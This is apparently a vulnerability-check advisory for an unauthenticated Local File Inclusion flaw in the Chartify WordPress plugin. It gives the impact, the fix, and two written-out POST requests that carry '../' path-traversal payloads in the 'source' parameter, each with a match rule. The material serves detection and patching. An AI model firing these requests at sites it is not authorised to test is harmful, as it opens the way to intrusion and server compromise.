Readycheck to confirm it

The Chartify – WordPress Chart Plugin plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.9.5 via the 'source' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.

Impact

Unauthenticated attackers can include and execute arbitrary PHP files via the source parameter, potentially achieving complete server compromise.

Fix

Update Chartify plugin to version 2.9.6 or later.

How to confirm it

Send: POST /wp-admin/admin-ajax.php?action=add&source=../../../../../../../../../../wp-content/plugins/chart-builder/admin/partials/features/chart-builder-plugin-fea…
Positive when: contains in header "PHPSESSID"
Send: POST /wp-admin/admin-ajax.php?action=add&source=../../../../../../../../../../wp-content/plugins/chart-builder/uninstall&type=chart-js
Positive when: contains_all(body, "ays-chart-heading-box", "View Documentation") and status_code == 200
